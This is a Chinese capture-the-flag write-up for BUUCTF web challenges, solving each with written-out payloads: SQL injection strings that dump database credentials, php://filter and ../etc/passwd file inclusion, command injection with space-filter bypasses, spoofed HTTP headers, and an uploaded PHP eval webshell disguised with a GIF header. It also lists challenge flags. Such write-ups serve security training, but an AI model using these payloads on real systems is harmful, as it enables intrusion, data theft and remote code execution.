0


BUUCTF--Web篇详细wp

BUUCTF--Web篇详细wp

CTF平台:https://buuoj.cn/

[极客大挑战 2019]EasySQL

使用万能密码登入即可。

1'or'1'='1#万能密码(注意是英文小写)  

在这里插入图片描述
在这里插入图片描述

flag{c8aeab4b-a566-4d7e-a039-cf6393c61d76}

[极客大挑战 2019]Havefun

**

F12

查看源代码 发现是

PHP

代码审计(小猫挺可爱呢~)**

在这里插入图片描述
在这里插入图片描述

<!--$cat=$_GET['cat'];echo$cat;if($cat=='dog'){echo'Syc{cat_cat_cat_cat}';}-->

**传了一个变量 然后是

GET

请求 如果

cat=dog

就会输出

flag

构造

Payload:/?cat=dog

**

在这里插入图片描述

 flag{86e415ca-8d55-4868-afb3-ec58d239dbb7}

[HCTF 2018]WarmUp

**打开网页看到滑稽图 直接

F12

然后访问这个敏感信息

source.php

直接看源码**

在这里插入图片描述
在这里插入图片描述

<?php
    highlight_file(__FILE__);classemmm{publicstatic function checkFile(&$page){
            $whitelist =["source"=>"source.php","hint"=>"hint.php"];if(!isset($page)||!is_string($page)){
                echo "you can't see it";returnfalse;}if(in_array($page, $whitelist)){returntrue;}

            $_page =mb_substr(
                $page,0,mb_strpos($page .'?','?'));if(in_array($_page, $whitelist)){returntrue;}

            $_page =urldecode($page);
            $_page =mb_substr(
                $_page,0,mb_strpos($_page .'?','?'));if(in_array($_page, $whitelist)){returntrue;}
            echo "you can't see it";returnfalse;}}if(!empty($_REQUEST['file'])&&is_string($_REQUEST['file'])&& emmm::checkFile($_REQUEST['file'])){
        include $_REQUEST['file'];
        exit;}else{
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

flag{313235c5-75b2-4e8a-b225-8e7413865bc7}

[ACTF2020 新生赛]Include

在这里插入图片描述
在这里插入图片描述
**这里我们看到了

?file=flag.php

我们猜测是文件包含漏洞 我们可以通过伪协议去读取想要的信息**

**文件包含分为本地文件包含 和 远程文件包含(

php.ini

可以进行配置)**

allow_url_fopen=On/Off 本地文件包含(LFI)(开和关都可包含本地文件)
allow_url_include=On/Off 远程文件包含(RFI)

**常见的文件包含 函数:

PHP:include()、include_once()、require()、require_once()

**

  • Require: 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
  • Include:找不到被包含的文件时只会产生一个(E_warinng),脚本将继续执行;
  • Require_once:与 include 类似会产生警告,区别是如果文件代码已经被包含,则不会再次被包含;

**用法:

?file=../../../../../../../../../../../../../../../../etc/passwd

**

**

PHP

伪协议:**

  • php://filter 用于读取源码
  • php://input 用于执行php代码
php://filter

使用:

 php://filter/read=convert.base64-encode/resource=xxx  # 用base64编码的方式来读文件flag.php

**Payload:

/?file=php://filter/read=convert.base64-encode/resource=flag.php

** 然后

Base64

解码就可以得到

flag

在这里插入图片描述
在这里插入图片描述

flag{8cd86bd7-28e2-4ac9-8e3c-9f6847a6ce6a}

[ACTF2020 新生赛]Exec

在这里插入图片描述
**简单的命令执行 :

127.0.0.1 || cat /flag

即可得到

flag

。**

在这里插入图片描述

flag{6570b254-2c5b-4dee-a0ba-2a777452b1e5}

[强网杯 2019]随便注

输入

1,2

输入

3

的时候发现报错了 说明只有两个字段
在这里插入图片描述
在这里插入图片描述
先放着 还没研究明白这题

[GXYCTF2019]Ping Ping Ping

在这里插入图片描述
**输入:

/?ip=127.0.0.1

有回显继续过滤

|| ls

发现有

flag.php

文件 这里看到

space

提示是空格绕过**

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里可以参考:https://blog.csdn.net/a3320315/article/details/99773192

{cat,flag.txt}cat${IFS}flag.txt
cat$IFS$9flag.txt: $IFS$9$9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

**这里第

1

种方法不行 可能是

{}

被过滤了 直接看第

3

个但是还是过滤了 在尝试一些

index.php

这里可以看到源代码 进行代码审计!**

在这里插入图片描述
在这里插入图片描述

/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/",$ip,$match)){echopreg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/",$ip,$match);die("fxck your symbol!");}elseif(preg_match("/ /",$ip)){die("fxck your space!");}elseif(preg_match("/bash/",$ip)){die("fxck your bash!");}elseif(preg_match("/.*f.*l.*a.*g.*/",$ip)){die("fxck your flag!");}$a=shell_exec("ping -c 4 ".$ip);echo"

";print_r($a);}?>

可以看到这里过滤了很多 这里方法有很多种 我就一种吧(比较懒)
内联执行:将指定的函数体插入并取代每一处调用该函数的地方

 `` 反引号 在linux中作为内联执行,执行输出结果
 cat`ls` //执行ls输出 index.php 和 flag.php 然后再执行 cat flag.php;cat index.php
 构造Payload :?ip=127.0.0.1|cat$IF$9`ls`

`
在这里插入图片描述

flag{ae43eee7-f909-4d59-b405-e52f3347c18f}

[SUCTF 2019]EasySQL

考点:堆叠注入

**这里输入

1,2

有回显

0

有没有 字母也没有 尝试

order

发现也被过滤了回显

Nonono

**

在这里插入图片描述
在这里插入图片描述
**这里我们尝试一下堆叠注入

1;show databases;

发现有回显**

在这里插入图片描述
**查看数据库的表

1; show tables;

发现

FLAG

表 继续查询

1;show columns from

用来查询表中列名称 (发现这里也被过滤了)**

在这里插入图片描述

在这里插入图片描述
其实做到这里就没思路了 去看别的大佬的文章 得知这里需要猜测后端数据库

**sql内置语句:

sql=“select”.post[‘query’]."||flag from Flag";
*

没过滤 输入

*

1

就相当于构造了

select *,1 || flag from Flag,

这条语句执行起来相当于

select *, 1 from Flag

**

在这里插入图片描述

flag{7533aecc-59b3-49c3-a374-6d20ab6edbd4}

[极客大挑战 2019]Secret File

**直接

F12

查看源代码 看到了一个

./Archive_room.php

进行访问,使用

BP

简单抓个包发现了

secr3t.php

**

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<html><title>secret</title><meta charset="UTF-8"><?php
    highlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file,"tp")||stristr($file,"input")||stristr($file,"data")){echo"Oh no!";exit();}include($file);//flag放在了flag.php里?></html>

**这里访问

flag.php

他说在里面 发现没有然后看到刚刚源码的

include()

函数 存在文件包含使用伪协议(上面有讲怎么 使用)**

构造Payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

在这里插入图片描述
Base64解码:http://www.jsons.cn/base64

在这里插入图片描述

flag{a402233a-9fc9-4d14-8c45-5dc839309887}

[极客大挑战 2019]LoveSQL

考点:联合注入

在这里插入图片描述
**使用万能密码

1'or'1'='1

**

在这里插入图片描述

1' union select1,2,3#  #联合查询查看 字段

在这里插入图片描述

1' union select1,2,3,4#  #

在这里插入图片描述
**这里输入

4

报错 说明只有

3

个字段**

在这里插入图片描述

1' union select1,2,database()#  爆破数据库

在这里插入图片描述

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'#  爆破geek表

在这里插入图片描述

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#  爆字段

在这里插入图片描述

1' union select 1,2,group_concat(concat_ws('~',username,password)) from geek.l0ve1ysq1#  用concat_ws函数连起来全部看一下

在这里插入图片描述
这里F12太长了看不了

flag{95ef6cab-f872-44ad-b725-ccaffc73865e}

[极客大挑战 2019]Http

**考点:

HTTP

伪造请求头**

**知识点:

HTTP

请求响应头**

referer:告诉服务器我是从哪个页面链接过来的(网址是跳转前的网址)
X-Forwarded-For: 用户访问服务器的 IP 地址
Content-Type:标识发送或接收到的数据的类型(使得http传输的不仅仅是文本还可以是图片视频等)
User-Agent: 使用的浏览器版本信息

**先

F12

查看一下源代码发现了

/Secret.php

这里给了提示:

https://www.Sycsecret.com

需要从这个

url

请求发送 直接抓包 改一下。**

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

referer:https://www.Sycsecret.com  
User-Agent:Syclover
X-Forwarded-For:127.0.0.1

在这里插入图片描述
**然后又给了提示 需要使用

Syclover

浏览器 然后又提示本地访问!**

在这里插入图片描述

在这里插入图片描述

flag{728bec5d-fa79-4344-960b-c21796344bab}

[极客大挑战 2019]Knife

**考点:一句话木马和

WebSell

工具的使用**

在这里插入图片描述
这里直接给了提示和密码,直接尝试用蚁剑进行连接 连接成功!!

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

flag{051fb5b7-4039-4242-9a69-eeb6e3c1e42b}

[极客大挑战 2019]Upload

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
**这里回显

NO php

说明不能后缀为

php

尝试使用

phtml

文件 不能包含:

" <? "

还要进行绕过**

在这里插入图片描述

**使用

script

标签 绕过

“<?”

限制:

<script language='php'>@eval($_POST['cmd']);</script>

这里还是不行 说上传的不图片!!**

在这里插入图片描述
**使用

GIF89a

图片头文件欺骗

php

会检测其为

gif

图片 这里终于上传成功了!!!

flag

在根目录下 直接查看即可。**

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

flag{cafd9be5-a8fd-4df3-a495-fd08c6fb0a2f}

[ACTF2020 新生赛]Upload

**这里要把后缀改了

jpg png

都行 然后和上一题一样的方法

a.phtml

然后上传成功!!**

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
**这里告诉了上传路径直接蚁剑连接 :

./uplo4d/71056c0c9cb12f2b7d720156da9eabf1.phtml

**

在这里插入图片描述
在这里插入图片描述

flag{e6460410-638d-4560-ab9b-34fa22f30854}
标签: CTF BUUCTF Web

本文转载自: https://blog.csdn.net/Aluxian_/article/details/130053100
版权归原作者 落寞的魚丶 所有, 如有侵权,请联系我们删除。

“BUUCTF--Web篇详细wp”的评论:

还没有评论